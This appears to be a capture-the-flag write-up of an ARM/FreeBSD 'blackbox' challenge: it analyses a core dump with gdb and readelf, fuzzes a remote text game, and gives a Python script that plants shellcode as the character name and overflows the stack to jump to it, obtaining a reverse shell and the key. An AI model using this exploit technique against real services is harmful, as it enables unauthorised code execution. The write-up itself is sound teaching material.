There were 5 categories:
- 3dub: web-based challenges
- 0x41414141: exploitation
- \xff\xe4\xcc: shellcode
- OMGACM: guerilla programming
- gnireenigne: reverse engineering
If you want to have a look, @JonathanSalwan saved some of the binaries on his repo.
GameFirst we are given a host:port, connecting to it reveals some kind of game where you can enter your name of your character, then play to move between rooms (North, South, East, West) until you meet with a troll. There, you can either escape to another room, or choose to Attack in which case you die immediately with this message:
Hell yeah, let's go! Sorry, <name> You died...better luck next time.
ARM core fileWe are also given a core dump (blackbox.core):
$ file blackbox.core blackbox.core: ELF 32-bit LSB core file ARM, version 1 (FreeBSD), FreeBSD-style, from 'ckbox'But unfortunately, no binary to analyze (hence the name, blackbox).
Lucky me I have a Raspberry Pi at hand but instead of installing FreeBSD I just found an image ready to use by copying it on an SD card.
In just a few minutes you get a system up and running and you can start looking at the core file:
root@fbsd-pi:~ # gdb --core blackbox.core [...] Core was generated by `blackbox'. Program terminated with signal 11, Segmentation fault. #0 0x2002e000 in ?? () (gdb) bt #0 0x2002e000 in ?? () Cannot access memory at address 0x41414141 (gdb) info registers r0 0x41 65 r1 0x0 0 r2 0x15 21 r3 0x41 65 r4 0x0 0 r5 0xbfffeeb4 -1073746252 r6 0x4000114c 1073746252 r7 0x4018514c 1075335500 r8 0x0 0 r9 0xbfffeec0 -1073746240 r10 0x20034bd4 537086932 r11 0x41414141 1094795585 r12 0x12844 75844 sp 0x41414141 1094795585 lr 0x93ac 37804 pc 0x2002e000 537059328 fps 0x0 0 cpsr 0x60000010 1610612752Looks like a buffer overflow. Let's carefully examine the core file:
$ readelf -l blackbox.core Elf file type is CORE (Core file) Entry point 0x0 There are 8 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align NOTE 0x000134 0x00000000 0x00000000 0x0194c 0x00000 R 0x4 LOAD 0x002000 0x00012000 0x00000000 0x0b000 0x0b000 RW 0x1000 LOAD 0x00d000 0x2002d000 0x00000000 0x01000 0x01000 RWE 0x1000 LOAD 0x00e000 0x20034000 0x00000000 0x09000 0x09000 RW 0x1000 LOAD 0x017000 0x2019b000 0x00000000 0x06000 0x06000 RW 0x1000 LOAD 0x01d000 0x201a1000 0x00000000 0x3a000 0x3a000 RW 0x1000 LOAD 0x057000 0x20400000 0x00000000 0x400000 0x400000 RW 0x1000 LOAD 0x457000 0xbffe0000 0x00000000 0x20000 0x20000 RWE 0x1000Interesting, the core file contains some memory areas of the binary when it crashed.
Maybe we could use that to get the binary? Too bad, no.
Looking around, we see that area mapped at 0x2002d000. Not only it is marked executable (E in RWE) but it contains The Troll Slayer string at the beginning (followed by nulls). In a game about killing trolls, that suspiciously looks like a character name and a good candidate to store our shellcode.
At area 0xbffe0000, likely the stack, we see the AAAA... buffer confirming the hypothesis of a stack based buffer overflow.
Finding the vulnSince we don't have a binary to reverse to find the vulnerability, it's time to build a client and experiment blindly with the remote binary, by sending big strings at every input and see what happens.
Sending a big name doesn't stop the binary.
Sending incorrect directions or a lot of input doesn't stop the binary.
However, when reaching a troll sending an A for Attack followed with a lot of input we get this:
Hell yeah, let's go!and disconnected! No longer the next message "Sorry <name>. You died [...]". We can guess we crashed the binary, maybe with that same buffer overflow from the core file.
ExploitLet's try something: start the game, when asked for character name, put a reverse connect shellcode that will maybe end up at 0x2002d000 executable area, then play by moving from room to room until meeting with a troll. Maybe trigger the suspected buffer overflow by repeating the suspected address of name (0x2002d000) multiple times (and 32-bit aligned).
#!/usr/bin/python import random import re import socket import struct NAME = 0x2002d000 SC = "<insert reverse connect shellcode>" class Socket(object): def __init__(self, host, port, debug=True): self.debug = debug self.s = socket.create_connection((host, port)) self.connected = True def recv_until(self, until='(y/n): '): data, chunk = '', True while chunk and not data.endswith(until): chunk = self.s.recv(1) if not chunk: self.connected = False if self.debug: print 'R: disconnected' break data += chunk if data and self.debug: print 'R: %s' % repr(data) return data def send_all(self, data): if self.debug: print 'S: %s' % repr(data) return self.s.sendall(data) def main(): s = Socket('18.104.22.168', 1234) s.recv_until('\n') s.send_all(SC + '\n') while s.connected: text = s.recv_until(')? ') if 'You died...better luck next time' in text: break m = re.search('\(([NSEWA,]+)\)\? $', text) if not m: print "cannot parse: %r" % text break moves = m.group(1).split(',') if 'A' in moves: move = 'ABCD' + struct.pack('<I', NAME)*0x100 else: move = random.choice(moves) s.send_all(move + '\n') if __name__ == '__main__': main()Looks like our hypothesis worked:
$ python blackbox.py [... then on the reverse shell] cat key The key is: arm+bsd=shellcoding fun